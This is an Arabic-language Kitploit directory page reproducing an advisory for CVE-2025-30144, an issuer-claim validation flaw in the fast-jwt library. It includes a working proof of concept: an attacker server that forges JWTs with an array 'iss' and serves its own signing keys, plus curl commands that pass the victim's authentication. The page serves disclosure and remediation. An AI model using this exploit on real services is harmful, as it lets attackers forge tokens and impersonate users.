Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2025-30144 | Kitploit
أدوات/GitHubGitHub/tibrn/cve-2025-30144
تحليل الثغرات الأمنيةالاستغلالاستغلال تطبيقات الويباختبار الاختراقالمصادقةأمن واجهات برمجة التطبيقات
GitHubtibrn/cve-2025-30144

CVE-2025-30144

عرض المستودع
منذ سنة واحدةلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

الملخص

مكتبة fast-jwt لا تتحقق بشكل صحيح من مطالبة iss وفقًا لـ RFC https://datatracker.ietf.org/doc/html/rfc7519#page-9.

التفاصيل

يسمح التحقق من مطالبة iss (المُصدر) داخل مكتبة fast-jwt بمصفوفة من السلاسل النصية كقيمة صالحة لـ iss. هذا الخلل التصميمي يتيح هجومًا محتملًا حيث يقوم المهاجم بصياغة JWT بمطالبة iss بهيكل ['https://attacker-domain/', 'https://valid-iss']. بسبب التحقق المتساهل، سيُعتبر JWT صالحًا.

علاوة على ذلك، إذا كان التطبيق يعتمد على مكتبات خارجية مثل get-jwks التي لا تتحقق بشكل مستقل من مطالبة iss، يمكن للمهاجم استغلال هذه الثغرة لتزوير JWT سيقبله تطبيق الضحية. بشكل أساسي، يمكن للمهاجم إدراج نطاقه الخاص في مصفوفة iss بجانب المُصدر الشرعي، وتجاوز فحوصات الأمان المقصودة.

إثبات المفهوم

خذ خادمًا يقوم بتشغيل الكود التالي:

root@kitploit:~
const express = require('express')
const buildJwks = require('get-jwks')
const { createVerifier } = require('fast-jwt')

const jwks = buildJwks({ providerDiscovery: true });
const keyFetcher = async (jwt) =>
    jwks.getPublicKey({
        kid: jwt.header.kid,
        alg: jwt.header.alg,
        domain: jwt.payload.iss
    });


const jwtVerifier = createVerifier({
    key: keyFetcher,
    allowedIss: 'https://valid-iss',
});

const app = express();
const port = 3000;

app.use(express.json());


async function verifyToken(req, res, next) {
  const headerAuth = req.headers.authorization.split(' ')
  let token = '';
  if (headerAuth.length > 1) {
    token = headerAuth[1];
  }

  const payload = await jwtVerifier(token);

  req.decoded = payload;
  next();
}

// Endpoint to check if you are auth or not
app.get('/auth', verifyToken, (req, res) => {
  res.json(req.decoded);
});

app.listen(port, () => {
  console.log(`Server is running on port ${port}`);
});

الآن نبني خادمًا سيُستخدم لتوليد رمز JWT وإرسال مفاتيح التحقق إلى خادم الضحية:

root@kitploit:~
const { generateKeyPairSync } = require('crypto');
const express = require('express');
const pem2jwk = require('pem2jwk');
const jwt = require('jsonwebtoken');

const app = express();
const port = 3001;
const host = `http://localhost:${port}/`;

const { publicKey, privateKey } = generateKeyPairSync("rsa", 
    {   modulusLength: 4096,
        publicKeyEncoding: { type: 'pkcs1', format: 'pem' },
        privateKeyEncoding: { type: 'pkcs1', format: 'pem' },
    },
); 
const jwk = pem2jwk(publicKey);

app.use(express.json());

// Endpoint to create token
app.post('/create-token', (req, res) => {
  const token = jwt.sign({ ...req.body, iss: [host, 'https://valid-iss'],  }, privateKey, { algorithm: 'RS256' });
  res.send(token);
});

app.get('/.well-known/jwks.json', (req, res) => {
    return res.json({
        keys: [{
            ...jwk,
            alg: 'RS256',
            use: 'sig',
        }]
    });
})

app.all('*', (req, res) => {
    return res.json({
        "issuer": host,
        "jwks_uri": host + '.well-known/jwks.json'
    });
});

app.listen(port, () => {
  console.log(`Server is running on port ${port}`);
});
root@kitploit:~
export TOKEN=$(curl -X POST http://localhost:3001/create-token -H "Content-Type: application/json" -d '{"name": "test"}')
curl -X GET http://localhost:3000/auth -H "Authorization: Bearer $TOKEN"

التأثير

التطبيقات التي تعتمد على تحقق fast-jwt من مطالبة iss تسمح للمهاجمين بتوقيع حمولات عشوائية سيقبلها المتحقق.

الحل

غيّر https://github.com/nearform/fast-jwt/blob/d2b0ccb103848917848390f96f06acee339a7a19/src/verifier.js#L475 إلى مدقق لا يقبل سوى سلسلة نصية واحدة للقيمة كما هو منصوص عليه في RFC https://datatracker.ietf.org/doc/html/rfc7519#page-9.

تنزيل الأداة